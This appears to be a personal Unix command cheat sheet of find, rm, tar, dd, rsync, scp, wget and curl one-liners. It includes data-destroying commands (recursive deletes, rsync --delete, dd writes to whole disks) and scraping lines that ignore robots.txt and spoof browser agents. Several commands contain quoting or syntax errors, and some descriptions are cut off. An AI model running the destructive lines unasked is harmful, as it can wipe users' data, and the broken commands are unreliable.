* find all c code files on the computer

 find /* -iname "*.c"   ##(-iname does a case insensitive name search)

* find files in the current and subfolder with a ".txt" filename extension

 find . -name "*.txt"   ##(this will find "index.txt" but not "index.TXT")

* find all files whose names end with '.txt' or '.csv'

 find . -name "*.txt" -o -name "*.csv"  
##(-o is the logical 'or' operator)

 find . -name '*.txt' -o -name '*.csv'  
##(the same, but not always)

 find / -regex ".*\.\(xls\|csv\)"    
##(the same, but a bit messy)

* find all files whose names end with '.txt' or '.csv' case insensitive

 find / -iregex ".*\.\(xls\|csv\)"       ##(finds a.CSV, b.Xls, C.csV etc)
 find . -iname "*.txt" -o -iname "*.csv" ##(the same)  

* find files which have 'tree' somewhere in the path or name

 find . -wholename '*tree*'
 find . -path '*tree*'  ##(the same, but deprecated)

* find all non-html files

 find . -type f ! -name "*html"

SEARCHING

FOR FILES BY SIZE ....

* Sort file greater than a specified size in human readeable format

 find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color

* Get the 10 biggest files/folders for the current direcotry

 du -sk * |sort -rn |head

* Find all the files more than 10MB, sort in descending order of

 find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out

* find files which are larger than 10 megabytes

 find / -size +10000000c -print
 find / -size +10M     ##(the same but shorter and more readable) 

* find files which are larger than 10 kilobytes

 find / -size +10k     ##(the same but better) 

* show file sizes in a readable format for all files bigger than 100k

 find . -size +100k -print | xargs du -sh | less 
##(searches this & subfolders)

 find . -size +100k | xargs du -sh | less        ##(the same)

* delete all files in the current and subfolder which are bigger than 100k

 find . -size +100k | xargs rm | less   ##(rather dangerous this command!)

* a bash function which finds files bigger than an amount of meg function bigger { [ -z "$1" ] && echo "usage: $FUNCNAME filesize" && return 3 find . -size +${1}M | xargs du -sh | less } ,,,

* List top ten files/directories sorted by size

 du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh

FINDING

FILES BY MODIFICATION TIME ....

* show files in the home folder which have been modified in the last 24 hours

 find $HOME -mtime 0

* find all files which have been modified in the last 7 days

 find / -mtime -7 -print
 find /* -mtime -7 -print   ##(works better for me)

* remove files in the /tmp folder which havent been modified in a week

 find /tmp -mtime +7 -exec rm -rf {} \;
 find /tmp -mtime +7 | xargs rm -rf  ##(the same but nicer and maybe faster) 

* compress log files which havent been modified for a week

 find /var/log -mtime +7 -exec gzip {} \;

* find files which were last modified (the data) more than 30 minutes ago

 find . -mmin +30

* find files whose data was modified less than 30 minutes ago

 find . -mmin -30

* files which were modified more recently than 'tree.txt'

 find . -newer tree.txt

BY ACCESS TIME ....

* find all files in the current folder tree accessed exactly 10 minutes ago

 find . -amin 10 

* find files accessed more than 10 minutes ago

 find . -amin +10 

* find files accessed less than 10 minutes ago

 find . -amin -10 

* find files which were accessed after the file 'tree.txt' was modified

 find . -anewer tree.txt 

* find files which were last accessed more than 48 hours ago

 find . -atime +2

* find files which were last accessed less than 48 hours ago

 find . -atime -2

BY FILE TYPE ....

* find all empty files and folder in this and all subfolders

 find . -empty  

* find all executable files (not folders)

 find . -type f -executable

* find all image files on the computer

 find / | xargs file | grep image | less

FINDING

TEXT FILES ....

* find files which contain the word 'big' in this folder and subfolders

 find . -type f -print | xargs grep -l big 
 grep -rl big *  ##(this is the same but not all greps have the 'r' option)

* find all files having the phrase 'big boy' in the 'doc/books' folder tree

 grep -rl 'big boy' doc/books    ##(this is a case sensitive search) 
 grep -ril 'big boy' doc/books   ##(finds 'big boy', 'BiG Boy' etc)
 grep -sril 'big boy' doc/books  ##(dont show any error messages)
 grep -sri 'big boy' doc/books  ##(show matching lines, not just filenames)

* find all ".html" files in "/etc" which do *not* contain the "<img" tag

 find /etc -iname "*.html" | xargs grep -L "<img" 

* find all files with names ending in '.html' or '.php' containing the word 'big'

 find / \(-name \*.html -o -name \*.php\) | xargs grep -i "big" 
##(this uses the tool 'xargs' instead of a 'for' loop)

* find all text files in the current directory and all subfolders

 find . | perl -lne '-T "$_" and print "$_"' | less
 find . | perl -lne '-T $_ and print $_' | less  ##(the same, I think...)

FINDING

FILES BY PERMISSIONS ....

* find files not readable by all users

 find -type f ! -perm -444    

* find folders which are not accessible for all users

 find -type d ! -perm -111

COMPLEX

FIND EXPRESSIONS ....

Find can use logical operators on each condition. This makes it possible to construct complex, and hopefully powerful find commands.

* find all files ending in '.csv' which are real files and list them

 find / -type f -name "*.csv" 
 find / -type f -a -name "*.csv"  ##(the same, '-a' means logical and)

* use the 'and' logical operator

 find / -type f -a -name "*.csv"  ##(the -a is not necessary)

* use the 'or ' logical operator: find files ending in .txt or .csv

 find / -name '*.txt -o -name "*.csv"  

* find files ending in '.xls' or '.csv' which are real files (not folders etc)

 find / -type f \( -name "*.xls" -o -name "*.csv" \) -exec ls -l {} \;

* find all files whose names dont end in '.csv'

 find . \! -name '*.csv'

DOING

SOMETHING WITH FOUND FILES ....

Find also support the -exec option which performs an action on each found file, but it may be better to use 'xargs' instead for speed

 find / -type f \( -name "*.xls" -o -name "*.csv" \) -exec ls -l {} \;

* the -exec option can be used to carry out an action on the found files

 find . -name "*" -exec cp "{}" img \;

* delete all files whose names end in '.txt' in this and all subfolders

 find . -name '*.txt' -delete         ##(a bit dangerous, but anyway)
 find . -name '*.txt -exec rm {} \;   ##(the same, if you like typing)
 find . -name '*.txt -exec rm "{}" \; ##(better? but why)
 find . -name '*.txt | xargs rm       ##(the same, might be faster, who knows)

* delete each file but ask the user for confirmation

 find . -name '*.txt' -ok rm {} \; 
 find . -name '*.txt' -ok rm "{}" \;         ##(better) 

* display the file type information about each file in this folder tree

  find . -type f -exec file '{}' \;

LOCATING

FILES

The 'locate' tool is faster than find, because it use an 'index' which has to be updated when the filesystem changes.

* use locate,

* update the file name database for the locate command

 updatedb

* find all executable files in the current and subfolder with 'tree' in the name

 find . -name "*tree*" | perl -lne '-x and print'   
 find . -name "*tree*" | perl -lne '-x && print'          ##(the same)
 find . -name "*tree*" | perl -lne '-x $_ and print $_'   ##(the same)

RENAMING

AND MOVING FILES ....

* smart renaming of files

 ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh

* convert filenames in current directory to lowercase

 for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done

* recursively change file name from uppercase to lowercase (or

 find . -type f | while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done

* Replace space in filename

 rename "s/ *//g" *.jpg

* Rename .JPG to .jpg recursively

 find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;

* rename all '.html' files in the folder to '.php'

 rename 's/\.html$/.php/' *.html  ##(index.html will become index.php)

* rename uppercase file names to lower-case

 rename 'y/A-Z/a-z/' *

* show what renaming would happen but dont actually do anything

 rename -n 's/\.htm$/.html/' *.html

* rename all files on the entire computer from "htm" -> "html"

 find /* -name "*.htm" | xargs rename 's/\.htm$/.html/'   
 find /* -name "*.htm" -exec rename 's/\.htm$/.html/' "{}" \;  ##(slower)

# the "xargs" version is much much faster than the "-exec" version # using "xargs -I {} cmd {} " slows down xargs alot # in this case.

* Batch file name renaming (copying or moving) w/ glob matching.

 for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done

* get only the first component of a Unix style file name

 f=/user/home/hh.html; echo f  | sed "s*^/**" | cut -d '/' -f 1
##(this prints "user")

DELETING

FILES ....

* delete files except some file

 find . |more |grep -v filename |xargs rm

* Removes file with a dash in the beginning of the name

 rm -- --myfile

* List and delete files older than one year

 find <directory path> -mtime +365 -and -not -type d -delete

* Delete files if not have some extension

 ls -1 |grep -v .jpg |xargs rm

* take a look at what a command will do before doing it

 find /tmp -type f -printf 'rm "%p";\n'

* empty the trash folder

 alias trash="rm -fr ~/.local/share/Trash"

* may be the optimal way of deleting huge numbers of files

 find /path/to/dir -type f -delete

* Verbosely delete files matching specific name pattern, older than x

 find /backup/directory -name "some*" -mtime +15 | xargs rm -vf

* Watch how fast the files in a drive are being deleted

 watch "df | grep /path/to/drive"

* Remove a file whose name begins with a dash ( - ) character

 rm ./-filename

* Erase empty files

 find . -size 0 -print0 | xargs -0 rm

* Delete files older than 5 (days?)

 find /dir_name -mtime +5 -exec rm {} \

* remove files and directories which havent been accessed in the last 20 minutes

 find -amin +20 -delete

* remove all files with the extension ".dvi" and ".log"

 rm *.{dvi,log}  

* Remove all but the 5 most recent file in a directory.

 rm `ls -t | awk 'NR>5'`    ##(the old bash syntax)
 rm $(ls -t | awk 'NR>5')   ##(the same, but new syntax)

* securely erase unused blocks in a partition

 # cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks

COPYING

FILES ....

* copy lots of files from the current folder to the folder "img"

 find . -name "*" | xargs -I {} cp {} img  ##(may be faster than -exec)
 find . -name "*" -exec cp "{}" img \;  
##( "cp * img/" may give the result: file list too long) ##(find with "-exec" is much much faster than a "for" loop)

* A rather slow "for" loop for copying files

 for i in *; do cp $i img/; done

SYMBOLIC

LINKS TO FILES ....

* make a symbolic link to the mounted hard drive in the home folder

 ln -s /mnt/hda1 ~/disk
 ln -s /path/to/original /path/to/link      ##(general format)

* make a link to '.bashrc' in the current folder.

 ln -s ~/.bashrc  ##(the symbolic link will be calledd 'bashrc')

* delete a symbolic link

 rm link         ##(the original file is not deleted)

* see where a symbolic link points to

 ls -l link

FILE

COMPRESSION

* Create a tar archive using 7z compression

 tar cf - /path/to/data | 7z a -si archivename.tar.7z

* backup and remove files with access time older than 5 days.

 tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime

* Extract a remote tarball in the current directory without having

 curl http://example.com/foo.tar.gz | tar zxvf -

* Extract tarball from internet without local saving

 wget -O - http://example.com/a.gz | tar xz

* Gzip files older than 10 days matching *

 find . -type f -name "*" -mtime +10 -print -exec gzip {} \;

* Zip all subdirectories into zipfiles

 for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done

* Pack up some files into a tarball on a remote server without

 tar -czf - * | ssh example.com "cat > files.tar.gz"

* backup a directory in a timestamped tar.gz

 tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir

* Create a tar.gz in a single command

 tar cvf - foodir | gzip > foo.tar.gz

* Extract tar.gz in a single command

 gunzip < foo.tar.gz | tar xvf -

* Create a zip file ignoring .svn files

 zip -r foo.zip DIR -x "*/.svn/*"

 unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r

* Remove all files previously extracted from a tar(.gz) file.

 tar -tf <file.tar.gz> | xargs rm -r

* List contents of tar archive within a compressed 7zip archive

 7z x -so testfile.tar.7z | tar tvf -

* Extract neatly a rar compressed file

 unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi

* Compare an archive with the file-system

 tar dfz horde-webmail-1.2.3.tar.gz

* compress a file and watch the progress

 tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz

* Create a self-extracting archive for win32 using 7-zip

 7z -sfx archive.exe /path/to/archive

* Compression formats Benchmark

 for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done

* list the contents of a .gz compressed tar archive file

 tar ztvf file.tar.gz   ##(nothing is uncompressed or extracted)

* list the contents of a .bz2 compressed tar archivve file

 tar jtvf file.tar.bz2

* compress stuff and show a progress bar while it is working

 tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz

* uncompress a ".bz2" compressed file

 bunzip2 filename.txt.bz2

* for files ending with ".Z" use "uncompress"

 uncompress file.Z

* view the contents of the compressed file 'comp.gz'

 zcat comp.gz 

* page through the contents of a compressed file

 zless filename 

* compress a file as small as possible with gzip

 gzip --best file

* browse a compressed directory

 mc      ##(the gnu midnight commander, uses 'curses')

* create a compressed archive of the folder 'dir' in file 'dir.tar.gz'

 tar -cvz --exclude *.exe -f dir.tar.gz dir 
##(excludes all filenames ending with '.exe')

* Compress files found with find

 find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz

* Create a zip archive excluding all SVN folders

 zip -r myfile.zip * -x \*.svn\*

ARCHIVES

OF FILES

A file archive is a way to combine many different files within one file, optionally compressing (reducing the size) of each file included in the "archive" file. The purpose of creating file archives is to facilitate making backups of files or for transfering files from one computer to another.

* Compress archive(s) or directory(ies) and split the output file

 rar a -m5 -v5M -R myarchive.rar /home/

* Split a tarball into multiple parts

 tar cf - <dir>|split -b<max_size>M - <name>.tar.

* Unrar all files in a directory

 for f in *.rar;do unrar e ?$f?;done

* Tar - Compress by excluding folders

 tar -cvzf arch.tgz $(find /path/dir -not -type d)

* Extract tarball from internet without local saving

 curl http://example.com/a.gz | tar xz

* Slightly better compressed archives

 find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2

* Archive a directory with datestamp on filename

 tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/

* display the files contained in the "tar" archive file "archive.tar"

 tar tvf archive.tar
##(the 'v' option prints each file which is added to the archive)

* append files with names ending in ".txt" to the archive file "text.tar"

 tar rvfn text.tar *.txt
 tar -rvfn text.tar *.txt   ##(this is the same, the "-" is optional)

* create an archive file "new.tar" and append all "c" source files to it

 tar -cvf new.tar *.c
 tar cvf new.tar *.c        ##(the same)  

* create an archive file "new.tar" of the folder /etc/lynx

 tar cvvf new.tar /etc/lynx  ##("vv" means "extra verbosity") 

* extract all files from a "tar" archive file

 tar xvf myfile.tar

BACKUPS

OF DATA AND DISKS

A backup is essentially a copy of data which is stored in a different place from the original data, and which hopefully will combat the laws of entropy.

FILE

BACKUPS ....

On unix-style systems, backup files have traditionally had a '~' extension.

* add a backup (or any other) suffix to the file 'data'

 mv -vi data{,~}

* Create a quick back-up copy of a file

 cp file.txt{,.bak}

* Create a backup of the file 'fo/list' with todays timestamp

 cp fo/list{,-$(date +%Y-%m-%d)}

* quickly backup or copy a file 'list.txt' with bash

 cp -bfS.bak list.txt list.txt 

* remove backup files (with the '~' extension)

 find / -name *~ -delete
 locate '*~' | xargs rm    ##(faster but not as thorough) 

* never rewrite a file while copying (or moving)

 cp --backup=t source.file target.file

* a function to create backups with a day-time timestamp

 backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }

FOLDER

BACKUPS ....

* backup directory. (for bash)

 cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash

* create a separate backup file for all files in current folder

 find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}

REMOTE

BACKUPS ....

* Backup a filesystem to a remote machine and use cstream to

 nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"

* Send a backup job to a remote tape drive on another machine over ssh

 tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"

* backup and synchronize entire remote folder locally (curlftpfs and

 curlftpfs ftp://username:password@ftpserver /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website

DISK

BACKUPS ....

* check the status of 'dd' in progress

 watch -n 10 killall -USR1 dd

* Backup of a partition

 cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )

* make a backup of an entire hard disk (the first one), saving to a file

  dd if=/dev/hda of=/path/to/image/file

* make a backup of the second hard disk, compress it and write to a file

 dd if=/dev/hdb | gzip > /path/to/image.gz

* restore a backup of the hard disk /dev/hdb

 dd if=/path/to/image of=/dev/hdb

* restore a compressed backup of a hard disk

 gzip -dc /path/to/image.gz | dd of=/dev/hda 

* create a backup of the master boot record and partition table of the 'hdb' disk

 dd if=/dev/hdb of=/path/to/image count=1 bs=512 

RESTORING

A BACKUP ....

* Restore a local drive from the image on remote host via ssh

 ssh user@server 'dd if=sda.img' | dd of=/dev/sda

TRANSFERING

FILES

A wide range of programs are available to transfer files between different computers on a network, and each has its own particular speciality

remote file transfer programs .. ftp, unencrypted file transfer (older) .. sftp, encrypted file transfer with user interaction .. scp, encrypted file transfer, non-interactive (faster than sftp) .. wget, http recursive file download, suitable for a bad connection .. curl, like wget but with some more options .. rsync, an efficient and flexible remote copy program .. bittorent, distributed file transfer ..,

* share files through the http port 80

 nc -w 5 -v -l -p 80 < file.ext

* transfer files using commands in 'ftp.txt' to server.net

 sftp -bc -pw password -l username -b ftp.txt server.net

* copy a file over the secure shell 'ssh' without 'scp'

 ssh HOST cat < LOCALFILE ">" REMOTEFILE

* share the current directory tree (via http) at http://$HOSTNAME:8000/

 python -m SimpleHTTPServer

SCP

....

The secure copy program is allegedly faster than 'sftp' mode, and uses ssh encryption. For transfering entire folders the 'rsync' program should probably used instead. Scp appears incapable of transfering 2 different files to 2 different folders. For that, see sftp. Without the '-r' switch Scp wont transfer folders.

* transfer 'book.txt' to the books folder of a sourceforge site server

 scp books.txt user,project@web.sf.net:htdocs/books/

* upload files 'f' and 'g' into the webfolder on a sourceforge server

 scp f g user,project@web.sourceforge.net:htdocs/

* download files 'f' and 'g' from a sourceforge server to this folder

 scp user,project@web.sourceforge.net:"htdocs/f htdocs/g" .

* upload (overwriting) all files in the current folder to the folder * 'doc/books/' to the 'eva' account on the server 'far.net'

 scp * eva@far.net:doc/books/

* upload and overwrite all '.txt' files to the 'doc/' folder on far.net

 scp *.txt eva@far.net:doc/

* scp a good script from host A which has no public access to host

 cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"

* bash function to upload a file via scp to the 'rpike' a/c on the server

 upfile() { scp $1 rpike@server.net:$1 }

* Easily scp a file back to the host you're connecting from

 mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }

* download 2 files from the server using the account 'user'

 scp user@server.net:"chap1.txt chap2.txt" ~/books

* upload the 'books' folder to the server 'machine.net' with account 'bob'

 scp -r ~/logs bob@machine.net:~/books   ##(consider using rsync instead)

* download all the files in the 'books' folder to the current local folder

 scp bob@machine.net:/home/books/* .   ##(no subfolders are downloaded)

* copy the file 'file.txt' from the 'server.net' host to the 'server.org'

 scp donkey@server.net:file1.txt donkey@server.org:books

* scp file from hostb to hostc while logged into hosta

 scp user@hostb:file user@hostc:

COMPLEX

SCP ....

* create a list of file names from local folders

 d=$(echo ~/sf/htdocs/books/*/); d="basename "${d// /;basename }; d=$(eval $d); d=$(echo $d | sed -r 's:[a-z-]+:htdocs/books/&/&-book.txt:ig'); echo $d

* create a list of file names from local folders and download them

 d=$(echo ~/sf/htdocs/books/*/); d="basename "${d// /;basename }; d=$(eval $d); d=$(echo $d | sed -r 's:[a-z-]+:htdocs/books/&/&-book.txt:ig');  echo $d; scp user,project@web.sourceforge.net:"$d" .

SFTP

....

sftp transfers files using the encrypted ssh (secure shell) protocol and is thus 'safer' and more modern than 'ftp'. sftp is designed to be used interactively by the user, but can also run in batch mode with the -b switch

* using sftp in batch mode to upload to the sourceforge web server

 sftp -b a.txt user,project@web.sf.net > /tmp/sftp.log
 the file 'a.txt' contains 'cd books; put chap1.txt; bye;'

RSYNC

Rsync is a very powerful network file copying program. It is particularly nice because it only transfers the parts of the files which have changed (the 'difference' to the old files). This saves a great deal of bandwidth and is probably the most efficient and pleasant way to develop a website. It is a program with a very large number of options to fine tune the way the file transfers take place.

Note: If the source path ends with "/" then the contents of the folder are copied but the folder itself is not

rsync tools .. grsync - a very basic graphical version of rsync with gtk ..

* create an incremental backup of a directory using hard links

 rsync -a --delete --link-dest=../lastbackup $folder $dname/

SIMPLE

USAGE OF RSYNC ....

* the general form of rsync is

 rsync [options] source destination

* download files from folder 'path' on the server to a local folder rsync -avP user@server.com:path/ /local/folder/ rsync -avP -e ssh user@server.com:path/ /local/folder/ ##(using ssh)

options:
-a archive mode -P keep partially transfered files, and show progress during the transfer of files ,,,

* copy recursively all files and folders from src/bar to /data/tmp/bar

 rsync -avz machine:src/bar /data/tmp
##(note that a new directory "bar" may be created within '/data/tmp')

* copy recursively all files and folders from src/bar/ to /data/tmp

 rsync -avz foo:src/bar/ /data/tmp

Note that NO directory "/data/tmp/bar" will be created

options used .. -v verbose output .. -a the "archive" mode, which means the same as "-rlptgoD" .. -r recurse into directories .. -l copy symbolic links as symbolic links .. -p preserve file permissions .. -t preserve file timestamps -g preserve the group information of the files (where possible) -o preserve file owner information -D preserve device and special files (where possible) -z compress file data during the transfer ..

* copy all files from the current folder to "htdocs/books/" on the server

 rsync -rv --exclude=*.swp . user@server:htdocs/books/

The contents of the current folder are copied but not the folder itself. Files with names ending in '.swp' are not copied because of the --exclude option.

* Remote copy directories and files through an SSH tunnel host

 rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/

* copy files displaying a progress bar.

 rsync -av --progress ./file.txt user@host:/path/to/dir

* rsync + find

 find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/

LOCAL

COPYING ....

Instead of using 'cp' one may use rsync instead to copy and synchronise large folders. This has the advantage that not all the files need be copied, only those that have changed.

* synchronise the users 'web' folder with a folder on a usb key

 rsync -r ~/web/ /media/KINGSTON/web/
 rsync -r ~/web/ /media/KINGSTON/web   ##(the same)
 rsync -r ~/web /media/KINGSTON/       ##(the same)
 rsync -rv ~/web/ /media/KINGSTON/web  ##(the same, but verbose)
 rsync -rvn ~/web/ /media/KINGSTON/web/ ##(just see what would happen)

The trailing '/' on ~/web/ is important since it determined whether rsync will copy just the contents of the folder or the folder itself.

* copy the folder 'big' from the current folder to the '/home/user/' folder

 rsync -r big /home/user/  
 cp -r big /home/user/  ##(this is more or less the same)

* copy the folder 'big' to the users home folder exclude 'iso' files

 rsync -rv --progress --exclude=*.iso big ~/  ##(progress is shown)

EXCLUDING

FILES FROM RSYNC TRANSFERS ........

* upload files excluding the directory 'images'

 rsync -r --exclude='images' /local/dir/ user@server.com:path/

The local folder /local/dir/images is not uploaded to the remote computer (server.com).

* synchronise by uploading all files except 'png' & 'jpg' images

 rsync -r --exclude=*.png --exclude=*.jpg /local/dir/ user@server.com:path/

* upload all files except 'pdf' documents and the /local/dir/images folder

 rsync -r --exclude=*.pdf --exclude=images /local/dir/ user@server.com:path/

* upload files excluding everthing listed in the file '/path/list.txt'

 rsync --exclude-from '/path/list.txt' /local/dir/ user@server.com:path/
##(an absolute path for the exclude file seems to be necessary, 2008)

* try bittorent.

PROBLEMS

....

There seems to be no short option for --exclude. It also seems imposible to include a list of files with one --exclude option

DELETING

DESTINATION FILES WITH RSYNC ........

* see what files would be deleted with the "--delete" option

 rsync -rnv --delete /home/user/ user@server:path/
 rsync -rv --delete --dry-run /home/user/ user@server:path/   ##(the same)
##(this should always be done before using "--delete")

* recursively upload the contents of /home/ and delete destination files * not found in the source folder tree (this can be dangerous!, first use "-n")

 rsync -r --delete /home/ user@server:path/

* upload files TO a server from a local folder using rsync and ssh * upload the '/home/' folder except c files, deleting c files at the destination

 rsync -rv --delete-excluded --exclude=*.c /home/ user@server:path/

* upload recursively the current directory excluding the folder * "tree" and deleting the folder "tree" at the destination

 rsync -rv --delete-excluded --exclude=tree  . user@machine:/books/web 

 rsync -avP -e ssh /local/folder/ user@server.com:path/                     

* copy all files from the "/home/user/" folder to path/ on the server

 rsync -e ssh /home/user/* user@server.com:path/
##(this is not a recursive copy; folders are not copied; the shell handles "*")

SYMBOLIC

LINKS AND RSYNC ....

* upload files, copying the target of symbolic links

 rsync -rv --copy-links /local/folder/ user@server.com:path/            
 rsync -rvL /local/folder/ user@server.com:path/ ##(the same)

SOURCEFORGE

....

* see what a sourceforge download with rsync would do without doing anything

 rsync -rvn -e ssh user,project@web.sf.net:htdocs/books ~/work/htdocs'

* upload to an sf project folder excluding vim swap files

 rsync -rv --exclude='*.swp' -e ssh ~/sf/htdocs/books user,project@web.sf.net:htdocs/'
##(if it doesnt exist, the 'books' folder is created on the server)

* get a project web-folder from sourceforge showing progress

 rsync -r --progress -e ssh user,project@web.sf.net:htdocs/books ~/work/htdocs'

UPLOADING

FILES

* use rsync, sftp, ftp,

DOWNLOADING

FILES ....

Downloading refers to the process of transfering files from a remote computer (somewhere on the internet, or just in the next room) to the the computer on which you are working.

@@ http://en.wikipedia.org/wiki/Wget

Tools: wget, curl

Wget has the advantage that it works on slow and precarious internet connections and can be scripted and scheduled. Curl is very similar to wget but provides a few extra features.

* snarf is a command line resource grabber.

 snarf http://foo.bar.com/picture.jpg

* Download an entire ftp directory using wget

 wget -r ftp://user:pass@ftp.example.com

* Download from Rapidshare Premium using wget - Part 2

 wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>

* mirror a yahoo geocities site, accepting only txt, html ... etc

 wget -nH -m -Atxt,html,js,java,class,css -Isitename http://www.geocities.com/sitename

* resume downloading a file from the internet

 wget -c url    ##(wget automatically retries getting)

* download a file limiting the download rate to 20k/second

 wget --limit-rate=20k url
##(this prevents wget hogging the available network bandwidth)

* get all the URLS contained in the file "list.txt"

 wget -i list.txt 

* download the html file and save it to the folder "tree"

 wget -P"tree" http://bumble.sf.net 

* download all ".gif" files from a web folder

 wget -r -l1 --no-parent -A.gif http://host/folder/

* mirror a website without overwriting any existing local files

 wget -nc -r http://www.gnu.ai.mit.edu/

* Download an entire website

 wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

* download a file and output to standard output

 wget -O - http://jagor.srce.hr/

* get all the pages linked to by the page "links.html"

 wget -O - http://host/links.html | wget --force-html -i

* check the validity of links in the file bookmarks.html

 wget --spider --force-html -i bookmarks.html

* mirror the site http://fa.org/, with 3 retries logging errors in 'mirror.log'

 wget -m -t3 http://fa.org/ -o mirror.log 

* use wget but pretend to be the "Konqueror" browser

 wget --user-agent="Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.98 (like Gecko)"
##(some sites may block access to wget to reduce server load)

* pretend to be the "Lynx" text mode browser

 wget -U "Lynx/2.8.7dev.9 libwww-FM/2.14" http://site

* download free ebooks from amazon.com # pretends to be firefox, recurses to 2 levels wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://amazon.com ,,,

USING

CURL ....

The curl utility is very similar to 'wget' but provides a few extra tricks.

* HTTP Get of a web page via proxy server with login credentials

 curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI

* get a file while pretending to be netscape 4.73 browser

 curl -A "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]

* follow http redirects (where the page is automatically refreshed to another)

 curl -L www.will.redirect.org

* use url 'globbing' to get several pages

 curl http://site.{one,two,three}.com 

* use arithmetic 'globbing' of urls to retrieve lots of pages

 curl http://www.example.com/file[1-100].txt  
##(this will retrieve file1.txt, file2.txt, file3.txt ...)
 curl http://www.eg.org/file[001-100].txt  
##(this will retrieve file001.txt, file002.txt, ... file099.txt, file100.txt)

* specify an alphabetic sequence of urls to retrieve

 curl www.eg.org/[a-g].html  ##(will get a.html, b.html, ... g.html)

* various sequences can be include to get lots of files

 curl www.eg.org/archive[1996-1999]/vol[1-4]/part[a-f].html 

* specify a sequence of urls to retrieve with a 'step' value (since 7.15.1)

 curl http://www.eg.org/[1-100:10].txt ##(gets 1.txt, 11.txt, 21.txt ...)

* access a page which is protected by basic authentication

 curl -u name:password www.secrets.com

* get the files a.html, b.html, c.html and save them with their names

 curl -O  www.eg.com/[a-c].html

* get a.txt, r.txt and s.txt and save them in a file called dump.txt

 curl -o dump.txt www.eg.com/{a,r,s}.txt

* get all the pages of the linux cookbook pretending to be mozilla

 curl -A "Mozilla/4.0" -O http://dsl.org/cookbook/cookbook_[1-45].html
 for i in $(seq 1 45); do curl -A "Mozilla/4.0" -O http://dsl.org/cookbook/cookbook_$i.html; sleep 2; done  ##(the same, but sleeping 2 seconds)

* download the linux cookbook, and convert to text at the same time

 for i in $(seq 1 45); do lynx --dump http://dsl.org/cookbook/cookbook_$i.html > cookbook-$i.txt; sleep 2; done  

MIRRORING

....

* Create a mirror of a local folder, on a remote server

 rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/

DEVELOPING

SOFTWARE

CPP

* Add a newline to the end of a cpp file

 find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;

* Create etags file of .c, .cpp, and .h files in all subdirectories

 find . -regex ".*\.[cChH]\(pp\)?" -print | etags -

* display typedefs, structs, unions and functions provided by a library

 cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
* Display GCC Predefined Macros
 gcc -dM -E - <<<''

* Show Shared Library Mappings

 ldconfig -p

* Colorize make, gcc, and diff output

 colormake, colorgcc, colordiff

* Write and run a quick C program

 cat | gcc -x c -o a.out - && ./a.out && rm a.out

* make a patch file using an original file and a modification

 diff -u file.txt.orig file.txt > file.txt.patch 

* compile an application

 ./configure; make && make install   ##(use 'sudo' where necessary)

* Display a list of code committers sorted by the frequency of commits

 svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr

* List all authors of a particular git project

 git log --format='%aN' | sort -u

* Figure out your work output for the day

 git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD

* git diff of files that have been staged ie 'git add'ed

 git diff --cached

REMOTE

DEVELOPMENT ....

* detach remote console for long running operations

 dtach -c /tmp/wires-mc mc

* Execute a sudo command remotely, without displaying the password

 stty -echo; ssh HOSTNAME "sudo some_command"; stty echo

* How to run a command on a list of remote servers read from a file

 dsh -M -c -f servers -- "command HERE"

* connect to X login screen via vnc

